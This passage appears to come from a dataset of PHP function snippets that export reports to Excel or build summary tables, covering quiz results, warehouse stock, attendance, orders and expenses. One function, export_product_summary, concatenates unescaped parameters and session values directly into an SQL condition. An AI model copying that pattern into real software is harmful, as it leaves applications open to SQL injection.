past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "function exportResults() {\n $format_bold = \"\";\n $format_percent = \"\";\n $format_datetime = \"\";\n $format_title = \"\";\n $surveyname = \"mobilequiz_data_export\";\n\n include_once \"./Services/Excel/classes/class.ilExcelWriterAdapter.php\";\n $excelfile = ilUtil::ilTempnam();\n $adapter = new ilExcelWriterAdapter($excelfile, FALSE);\n $workbook = $adapter->getWorkbook();\n $workbook->setVersion(8); // Use Excel97/2000 Format\n //\n // Create a worksheet\n $format_bold =& $workbook->addFormat();\n $format_bold->setBold();\n $format_percent =& $workbook->addFormat();\n $format_percent->setNumFormat(\"0.00%\");\n $format_datetime =& $workbook->addFormat();\n $format_datetime->setNumFormat(\"DD/MM/YYYY hh:mm:ss\");\n $format_title =& $workbook->addFormat();\n $format_title->setBold();\n $format_title->setColor('black');\n $format_title->setPattern(1);\n $format_title->setFgColor('silver');\n $format_title->setAlign('center');\n\n // Create a worksheet\n include_once (\"./Services/Excel/classes/class.ilExcelUtils.php\");\n\n // Get rounds from the Database\n $rounds = $this->object->getRounds();\n\n if(!count($rounds) == 0) {\n foreach($rounds as $round){\n\n // Add a seperate worksheet for every Round\n $mainworksheet =& $workbook->addWorksheet(\"Runde \".$round['round_id']);\n $column = 0;\n $row = 0;\n\n // Write first line with titles\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Frage\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Fragentyp\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Antwort\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Antworttyp\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Anzahl\", \"excel\", $format_bold));\n\n $round_id = $round['round_id']; \n $questions = $this->object->getQuestions($this->object->getId());\n\n if(!count($questions) == 0) {\n foreach ($questions as $question){\n\n $choices = $this->object->getChoices($question['question_id']);\n $answers = $this->object->getAnswers($round_id);\n\n switch ($question['type']) {\n case QUESTION_TYPE_SINGLE :\n case QUESTION_TYPE_MULTI:\n if(!count($choices) == 0) {\n foreach($choices as $choice){\n $count = 0;\n\n foreach ($answers as $answer){\n if (($answer['choice_id'] == $choice['choice_id'])&&($answer['value'] != 0)){\n $count++;\n }\n }\n // write into sheet\n $column = 0;\n $row++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['type'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($choice['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($choice['correct_value'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($count, \"excel\", 0));\n }\n }\n break;\n case QUESTION_TYPE_NUM:\n if(!count($choices) == 0) {\n foreach($choices as $choice){ // Theres always only one Choice with numeric questions\n \n // get Answers to this choice\n $answers = $this->object->getAnswersToChoice($round_id, $choice['choice_id']); \n \n // Summarize the answers\n $values = array();\n foreach ($answers as $answer){\n $value = $answer['value'];\n if (key_exists($value, $values)){\n $values[$value] += 1;\n } else {\n $values[$value] = 1;\n } \n }\n \n // Sort values from low to high\n ksort($values);\n \n // Write values in Sheet\n foreach ($values as $value => $count){\n // write into sheet\n $column = 0;\n $row++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['type'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($value, \"excel\", 0));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text(' ', \"excel\", 0));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($count, \"excel\", 0));\n }\n }\n }\n break;\n }\n // write empty line after question\n $row++;\n }\n }\n }\n }\n // Send file to client\n $workbook->close();\n ilUtil::deliverFile($excelfile, \"$surveyname.xls\", \"application/vnd.ms-excel\");\n exit();\n }", "public function export_product_summary($date = 0, $type = 0, $type2 = 0, $color = 0, $size=0, $fabric=0, $craft=0, $cat=0)\n {\n $con = \"p.id<>''\";\n if($type != 0)\n $con .= \"and p.asset_type_id ='\". $type . \"'\";\n if($type2 != 0)\n $con .= \"and p.product_type_id ='\". $type2 . \"'\";\n if($color != 0)\n $con .= \"and p.color_id ='\". $color . \"'\";\n if($size != 0)\n $con .= \"and p.size_id ='\". $size . \"'\";\n if($fabric != 0)\n $con .= \"and p.fabric_id ='\". $fabric . \"'\";\n if($craft != 0)\n $con .= \"and p.craft_id ='\". $craft . \"'\";\n if($cat != 0)\n $con .= \"and p.category_id ='\". $cat . \"'\";\n if (!empty($_SESSION[SESSION_NAME]['branch_id'])) {\n $con .= \" and ast.id in (select asset_id from asset_branch_mappings where branch_id='\" . $_SESSION[SESSION_NAME]['branch_id'] . \"')\";\n }\n\n $results = $this->Warehouse_product_summary_model->get_datatables($con, $date);\n //$results = $query->result();\n //$con = \"p.id<>0\";\n\n //$results = $this->Warehouse_product_summary_model->ExportCSV($con);\n $FileTitle = 'Warehouse Product Summary Report';\n\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Report Sheet');\n //set cell A1 content with some text\n\n $this->excel->getActiveSheet()->setCellValue('A1', 'Gujarat State Handloom & Handicraft Development Corp. Ltd.');\n $this->excel->getActiveSheet()->setCellValue('A2', $_SESSION[SESSION_NAME]['address']);\n $this->excel->getActiveSheet()->setCellValue('A3', $_SESSION[SESSION_NAME]['gst_number']);\n $this->excel->getActiveSheet()->setCellValue('A4', 'Product Summary Report');\n\n $this->excel->getActiveSheet()->setCellValue('A5', 'Sr. No');\n $this->excel->getActiveSheet()->setCellValue('B5', 'Purchase Date');\n $this->excel->getActiveSheet()->setCellValue('C5', 'Name');\n $this->excel->getActiveSheet()->setCellValue('D5', 'Received From');\n $this->excel->getActiveSheet()->setCellValue('E5', 'Category');\n $this->excel->getActiveSheet()->setCellValue('F5', 'Type');\n $this->excel->getActiveSheet()->setCellValue('G5', 'Type 2');\n $this->excel->getActiveSheet()->setCellValue('H5', 'Size');\n $this->excel->getActiveSheet()->setCellValue('I5', 'Color');\n $this->excel->getActiveSheet()->setCellValue('J5', 'Fabric');\n $this->excel->getActiveSheet()->setCellValue('K5', 'Craft');\n $this->excel->getActiveSheet()->setCellValue('L5', 'HSN Code');\n $this->excel->getActiveSheet()->setCellValue('M5', 'Qty');\n $this->excel->getActiveSheet()->setCellValue('N5', 'Avail. Qty');\n $this->excel->getActiveSheet()->setCellValue('O5', 'Cost Price');\n $this->excel->getActiveSheet()->setCellValue('P5', 'Total Cost Amt');\n $this->excel->getActiveSheet()->setCellValue('Q5', 'GST %');\n $this->excel->getActiveSheet()->setCellValue('R5', 'GST Amt');\n $this->excel->getActiveSheet()->setCellValue('S5', 'Selling Price');\n $this->excel->getActiveSheet()->setCellValue('T5', 'Total SP');\n $this->excel->getActiveSheet()->setCellValue('U5', 'Barcode Number');\n $this->excel->getActiveSheet()->setCellValue('V5', 'AGE');\n\n $a = '6';\n $sr = 1;\n\n $total_quantity = 0;\n $total_available_qty = 0;\n $total_cost_total = 0;\n $total_price = 0;\n $total_gst = 0;\n $total_product_mrp = 0;\n $total_sp_total = 0;\n foreach ($results as $result) {\n $startDate = $result->product_purchase_date;\n $endDate = date('Y-m-d');\n\n $datetime1 = date_create($startDate);\n $datetime2 = date_create($endDate);\n $interval = date_diff($datetime1, $datetime2, false);\n $arrTime = array();\n if ($interval->y != 0) {\n $arrTime[] = $interval->y . ' Year ';\n }\n if ($interval->m != 0) {\n $arrTime[] = $interval->m . ' Months ';\n }\n $arrTime[] = $interval->d . ' Days Ago';\n\n $this->excel->getActiveSheet()->setCellValue('A' . $a, $sr);\n $this->excel->getActiveSheet()->setCellValue('B' . $a, $result->product_purchase_date);\n $this->excel->getActiveSheet()->setCellValue('C' . $a, $result->asset_name);\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $result->name);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, $result->title);\n $this->excel->getActiveSheet()->setCellValue('F' . $a, $result->type);\n $this->excel->getActiveSheet()->setCellValue('G' . $a, $result->product_type);\n $this->excel->getActiveSheet()->setCellValue('H' . $a, $result->size);\n $this->excel->getActiveSheet()->setCellValue('I' . $a, $result->color);\n $this->excel->getActiveSheet()->setCellValue('J' . $a, $result->fabric);\n $this->excel->getActiveSheet()->setCellValue('K' . $a, $result->craft);\n $this->excel->getActiveSheet()->setCellValue('L' . $a, $result->hsn);\n $this->excel->getActiveSheet()->setCellValue('M' . $a, $result->quantity);\n $this->excel->getActiveSheet()->setCellValue('N' . $a, $result->available_qty);\n $this->excel->getActiveSheet()->setCellValue('O' . $a, \"Rs. \" . number_format($result->price, 2));\n $this->excel->getActiveSheet()->setCellValue('P' . $a, \"Rs. \" . number_format(($result->price * $result->available_qty), 2));\n $this->excel->getActiveSheet()->setCellValue('Q' . $a, $result->gst_percent);\n $this->excel->getActiveSheet()->setCellValue('R' . $a, number_format(($result->price * $result->available_qty) * ($result->gst_percent/100), 2));\n $this->excel->getActiveSheet()->setCellValue('S' . $a, $result->product_mrp);\n $this->excel->getActiveSheet()->setCellValue('T' . $a, \"Rs. \" . number_format(($result->product_mrp * $result->available_qty), 2));\n $this->excel->getActiveSheet()->setCellValue('U' . $a, $result->barcode_number);\n $this->excel->getActiveSheet()->setCellValue('V' . $a, implode(\" \", $arrTime));\n\n $sr++;\n $a++;\n $total_quantity += $result->quantity;\n $total_available_qty += $result->available_qty;\n $total_price += $result->price;\n $total_cost_total += ($result->price * $result->available_qty);\n $total_gst += ($result->price * $result->available_qty) * ($result->gst_percent/100);\n $total_product_mrp += $result->product_mrp;\n $total_sp_total += ($result->product_mrp * $result->available_qty);\n }\n $this->excel->getActiveSheet()->setCellValue('M' . $a, $total_quantity);\n $this->excel->getActiveSheet()->setCellValue('N' . $a, $total_available_qty);\n $this->excel->getActiveSheet()->setCellValue('O' . $a, \"Rs. \" . number_format($total_price, 2));\n $this->excel->getActiveSheet()->setCellValue('P' . $a, \"Rs. \" . number_format($total_cost_total, 2));\n $this->excel->getActiveSheet()->setCellValue('R' . $a, \"Rs. \" . number_format($total_gst, 2));\n $this->excel->getActiveSheet()->setCellValue('S' . $a, \"Rs. \" . number_format($total_product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('T' . $a, \"Rs. \" . number_format($total_sp_total, 2));\n\n $this->excel->getActiveSheet()->getStyle('M' . $a)->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('N' . $a)->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('O' . $a)->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('P' . $a)->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('R' . $a)->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('S' . $a)->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('T' . $a)->getFont()->setBold(true);\n\n $this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(14);\n $this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('A2')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('A3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('A4')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('C5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('D5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('F5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('H5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('I5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('J5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('K5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('L5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('M5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('N5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('O5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('P5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('Q5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('R5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('S5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('T5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('U5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('V5')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->mergeCells('A1:H1');\n $this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $filename = '' . $FileTitle . '.xlsx'; //save our workbook as this file name\n header('Content-Type: application/vnd.ms-excel'); //mime type\n header('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n header('Cache-Control: max-age=0'); //no cache\n ob_clean();\n\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n //if you want to save it as .XLSX Excel 2007 format\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel2007');\n //force user to download the Excel file without writing it to server's HD\n $objWriter->save('php://output');\n }", "function update_summary() {\n\tinclude 'get_data.php';\n\t//find the relevant info from db_data.json and store it in summary.json\n\tinclude 'summary_data.php';\n}", "function attendance_exporttotableed($data, $filename, $format) {\n global $CFG;\n\n if ($format === 'excel') {\n require_once(\"$CFG->libdir/excellib.class.php\");\n $filename .= \".xls\";\n $workbook = new MoodleExcelWorkbook(\"-\");\n } else {\n require_once(\"$CFG->libdir/odslib.class.php\");\n $filename .= \".ods\";\n $workbook = new MoodleODSWorkbook(\"-\");\n }\n // Sending HTTP headers.\n $workbook->send($filename);\n // Creating the first worksheet.\n $myxls = $workbook->add_worksheet(get_string('modulenameplural', 'attendance'));\n // Format types.\n $formatbc = $workbook->add_format();\n $formatbc->set_bold(1);\n\n $myxls->write(0, 0, get_string('course'), $formatbc);\n $myxls->write(0, 1, $data->course);\n $myxls->write(1, 0, get_string('group'), $formatbc);\n $myxls->write(1, 1, $data->group);\n\n $i = 3;\n $j = 0;\n foreach ($data->tabhead as $cell) {\n // Merge cells if the heading would be empty (remarks column).\n if (empty($cell)) {\n $myxls->merge_cells($i, $j - 1, $i, $j);\n } else {\n $myxls->write($i, $j, $cell, $formatbc);\n }\n $j++;\n }\n $i++;\n $j = 0;\n foreach ($data->table as $row) {\n foreach ($row as $cell) {\n $myxls->write($i, $j++, $cell);\n }\n $i++;\n $j = 0;\n }\n $workbook->close();\n}", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public function report_history(){ \r\n $periode = $this->input->post('periode_download');\r\n $getDate = explode(\" - \", $periode);\r\n $startDate = $getDate[0];\r\n $endDate = $getDate[1];\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle('History worksheet');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', 'History User');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$startDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$endDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n }\r\n \r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'Name', 'Address', 'Agent Code', 'Agent Name', 'MG User ID', 'Email User', 'Status History', 'Gift Name', 'Value Gift', 'Point Gift', 'Last Point', 'In Point', 'Out Point', 'Current Point', 'Approved By','Tanggal History', 'Notes');\r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 6, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n\r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n $this->excel->getActiveSheet()->freezePane('A7');\r\n } \r\n\r\n $report_history = $this->report_model->data_ReportHistory($startDate,date('Y-m-d', strtotime($endDate. ' + 1 days')));\r\n \r\n if($report_history){\r\n $no=1;\r\n $startNum = 7;\r\n foreach ($report_history as $row) { \r\n $tanggal_history = new DateTime($row['date_create']);\r\n $tanggal_history = date_format($tanggal_history, 'd M Y H:i');\r\n \r\n $arrItem = array($no, $row['name'], $row['address'], $row['kode_agent'], $row['agent_name'], $row['mg_user_id'],$row['email'], $row['status'], $row['gift_name'], $row['value'], $row['point'], $row['last_point'], $row['in_point'], $row['out_point'], $row['current_point'], $row['username'],$tanggal_history, $row['notes']);\r\n\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n\r\n $i = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n $i++;\r\n\r\n //make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n } \r\n\r\n $no++;\r\n $startNum++;\r\n }}\r\n \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A6:R6')->applyFromArray($styleArray);\r\n\r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getFont()->setBold(true);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:R1');\r\n \r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->mergeCells('A3:D3');\r\n $this->excel->getActiveSheet()->mergeCells('A4:D4');\r\n }\r\n \r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n\r\n $filename = 'history-user.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "public function getSummary();", "protected function getDailySummary()\n {\n $strBuffer = '\n<fieldset class=\"tl_tbox\">\n<legend style=\"cursor: default;\">' . $GLOBALS['TL_LANG']['ISO_REPORT']['24h_summary'] . '</legend>\n<div class=\"daily_summary\">';\n\n $arrAllowedProducts = \\Isotope\\Backend\\Product\\Permission::getAllowedIds();\n\n $objOrders = Database::getInstance()->prepare(\"\n SELECT\n c.id AS config_id,\n c.name AS config_name,\n c.currency,\n COUNT(DISTINCT o.id) AS total_orders,\n SUM(i.tax_free_price * i.quantity) AS total_sales,\n SUM(i.quantity) AS total_items\n FROM tl_iso_product_collection o\n LEFT JOIN tl_iso_product_collection_item i ON o.id=i.pid\n LEFT OUTER JOIN tl_iso_config c ON o.config_id=c.id\n WHERE o.type='order' AND o.order_status>0 AND o.locked>=?\n \" . Report::getProductProcedure('i', 'product_id') . \"\n \" . Report::getConfigProcedure('o', 'config_id') . \"\n GROUP BY config_id\n \")->execute(strtotime('-24 hours'));\n\n if (!$objOrders->numRows) {\n\n $strBuffer .= '\n<p class=\"tl_info\">' . $GLOBALS['TL_LANG']['ISO_REPORT']['24h_empty'] . '</p>';\n\n } else {\n\n $i = -1;\n $strBuffer .= '\n<div class=\"tl_listing_container list_view\">\n <table class=\"tl_listing\">\n <tr>\n <th class=\"tl_folder_tlist\">' . $GLOBALS['TL_LANG']['ISO_REPORT']['shop_config'] . '</th>\n <th class=\"tl_folder_tlist\">' . $GLOBALS['TL_LANG']['ISO_REPORT']['currency'] . '</th>\n <th class=\"tl_folder_tlist\">' . $GLOBALS['TL_LANG']['ISO_REPORT']['orders#'] . '</th>\n <th class=\"tl_folder_tlist\">' . $GLOBALS['TL_LANG']['ISO_REPORT']['products#'] . '</th>\n <th class=\"tl_folder_tlist\">' . $GLOBALS['TL_LANG']['ISO_REPORT']['sales#'] . '</th>\n </tr>';\n\n\n while ($objOrders->next())\n {\n $strBuffer .= '\n <tr class=\"row_' . ++$i . ($i%2 ? 'odd' : 'even') . '\">\n <td class=\"tl_file_list\">' . $objOrders->config_name . '</td>\n <td class=\"tl_file_list\">' . $objOrders->currency . '</td>\n <td class=\"tl_file_list\">' . $objOrders->total_orders . '</td>\n <td class=\"tl_file_list\">' . $objOrders->total_items . '</td>\n <td class=\"tl_file_list\">' . Isotope::formatPrice($objOrders->total_sales) . '</td>\n </tr>';\n }\n\n $strBuffer .= '\n </table>\n</div>';\n }\n\n\n $strBuffer .= '\n</div>\n</fieldset>';\n\n return $strBuffer;\n }", "private function _downloadSnLogExcel($dataProvider) {\r\n $objPHPExcel = new \\PHPExcel();\r\n \r\n // Set document properties\r\n $objPHPExcel->getProperties()\r\n ->setCreator(\"wuliu.youjian8.com\")\r\n ->setLastModifiedBy(\"wuliu.youjian8.com\")\r\n ->setTitle(\"youjian logistics order\")\r\n ->setSubject(\"youjian logistics order\")\r\n ->setDescription(\"youjian logistics order\")\r\n ->setKeywords(\"youjian logistics order\")\r\n ->setCategory(\"youjian logistics order\");\r\n $datas = $dataProvider->query->all();\r\n if ($datas) {\r\n $objPHPExcel->setActiveSheetIndex(0)\r\n ->setCellValue('A1', '编号')\r\n ->setCellValue('B1', '票号')\r\n ->setCellValue('C1', '金额')\r\n ->setCellValue('D1', '实收金额')\r\n ->setCellValue('E1', '交款人')\r\n ->setCellValue('F1', '收款人')\r\n ->setCellValue('G1', '收款时间')\r\n ->setCellValue('H1', '送货状态')\r\n ->setCellValue('I1', '收款状态')\r\n ->setCellValue('J1', '备注');\r\n $i = 2;\r\n foreach ($datas as $model) {\r\n // Add some data\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('A'.$i, $model->number);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('B'.$i, $model->order_sn);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValueExplicit('C'.$i, ''.$model->amount);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('D'.$i, $model->rel_amount);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('E'.$i, $model->receiving);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('F'.$i, ArrayHelper::getValue($model, 'userTrueName.user_truename'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('G'.$i, date(\"Y-m-d H:i\", $model->add_time));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('H'.$i, $model->getOrderState());\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('I'.$i, $model->getGoodsPriceState());\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('J'.$i, $model->getRemarkExcel());\r\n $i++;\r\n }\r\n }\r\n \r\n // Rename worksheet\r\n $objPHPExcel->getActiveSheet()->setTitle('票号收款列表');\r\n \r\n \r\n // Set active sheet index to the first sheet, so Excel opens this as the first sheet\r\n $objPHPExcel->setActiveSheetIndex(0);\r\n \r\n \r\n // Redirect output to a client’s web browser (Excel5)\r\n header('Content-Type: application/vnd.ms-excel');\r\n header('Content-Disposition: attachment;filename=\"票号收款列表.xls\"');\r\n header('Cache-Control: max-age=0');\r\n // If you're serving to IE 9, then the following may be needed\r\n header('Cache-Control: max-age=1');\r\n \r\n // If you're serving to IE over SSL, then the following may be needed\r\n header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\r\n header ('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // always modified\r\n header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1\r\n header ('Pragma: public'); // HTTP/1.0\r\n \r\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\r\n $objWriter->save('php://output');\r\n exit;\r\n }", "function irexcel()\n\t{\n\n \n ini_set('memory_limit', '-1');\n $cond = $this->Session->read(\"cond\");\n\t\t$this->layout = 'ajax';\n\t\t$results = $this->IrModule->find('all',array(\"conditions\"=>$cond));\n $this->set(\"row\", $results);\n\t\t//var $helpers = array('Excel' => array($results));\n\t\t//loadHelper('Excel');\n\t\t//var_dump($helpers);\n\t}", "function expense_tracker_excel()\n{\n\t\t$this->layout=\"\";\n\t\t$filename=\"Expense Tracker\";\n\t\theader (\"Expires: 0\");\n\t\theader (\"Last-Modified: \" . gmdate(\"D,d M YH:i:s\") . \" GMT\");\n\t\theader (\"Cache-Control: no-cache, must-revalidate\");\n\t\theader (\"Pragma: no-cache\");\n\t\theader (\"Content-type: application/vnd.ms-excel\");\n\t\theader (\"Content-Disposition: attachment; filename=\".$filename.\".xls\");\n\t\theader (\"Content-Description: Generated Report\" );\n\n\t\t\t$from = $this->request->query('f');\n\t\t\t$to = $this->request->query('t');\n\n\t\t\t\t$from = date(\"Y-m-d\", strtotime($from));\n\t\t\t\t$to = date(\"Y-m-d\", strtotime($to));\n\n\t\t\t$s_role_id = (int)$this->Session->read('role_id');\n\t\t\t$s_society_id = (int)$this->Session->read('society_id');\n\t\t\t$s_user_id = (int)$this->Session->read('user_id');\t\n\n\t\t$this->loadmodel('society');\n\t\t$conditions=array(\"society_id\" => $s_society_id);\n\t\t$cursor=$this->society->find('all',array('conditions'=>$conditions));\n\t\tforeach($cursor as $collection)\n\t\t{\n\t\t$society_name = $collection['society']['society_name'];\n\t\t}\n\n$excel=\"<table border='1'>\n<tr>\n<th style='text-align:center;' colspan='8'>$society_name Society</th>\n</tr>\n<tr>\n<th style='text-align:left;'>Voucher #</th>\n<th style='text-align:left;'>Posting Date</th>\n<th style='text-align:left;'>Due Date</th>\n<th style='text-align:left;'>Date of Invoice</th>\n<th style='text-align:left;'>Expense Head</th>\n<th style='text-align:left;'>Invoice Reference</th>\n<th style='text-align:left;'>Party Account Head</th>\n<th style='text-align:left;'>Amount</th>\n</tr>\";\n\t\t$total = 0;\n\t\t$this->loadmodel('expense_tracker');\n\t\t$conditions=array(\"society_id\"=>$s_society_id);\n\t\t$cursor3 = $this->expense_tracker->find('all',array('conditions'=>$conditions));\n\t\tforeach($cursor3 as $collection)\n\t\t{\n\t\t\t$receipt_id = $collection['expense_tracker']['receipt_id'];\n\t\t\t$posting_date = $collection['expense_tracker']['posting_date'];\n\t\t\t$due_date = $collection['expense_tracker']['due_date'];\n\t\t\t$invoice_date = $collection['expense_tracker']['invoice_date'];\n\t\t\t$expense_head = (int)$collection['expense_tracker']['expense_head'];\n\t\t\t$invoice_reference = $collection['expense_tracker']['invoice_reference'];\n\t\t\t$party_account_head = (int)$collection['expense_tracker']['party_head'];\n\t\t\t$amount = $collection['expense_tracker']['amount'];\n\n\t\t\t\t$result5 = $this->requestAction(array('controller' => 'hms', 'action' => 'ledger_account_fetch2'),array('pass'=>array($expense_head)));\n\t\t\t\tforeach($result5 as $collection3)\n\t\t\t\t{\n\t\t\t\t$ledger_name = $collection3['ledger_account']['ledger_name'];\n\t\t\t\t}\n\n\t\t\t\t\t$result6 = $this->requestAction(array('controller' => 'hms', 'action' => 'ledger_sub_account_fetch'),array('pass'=>array($party_account_head)));\n\t\t\t\t\tforeach($result6 as 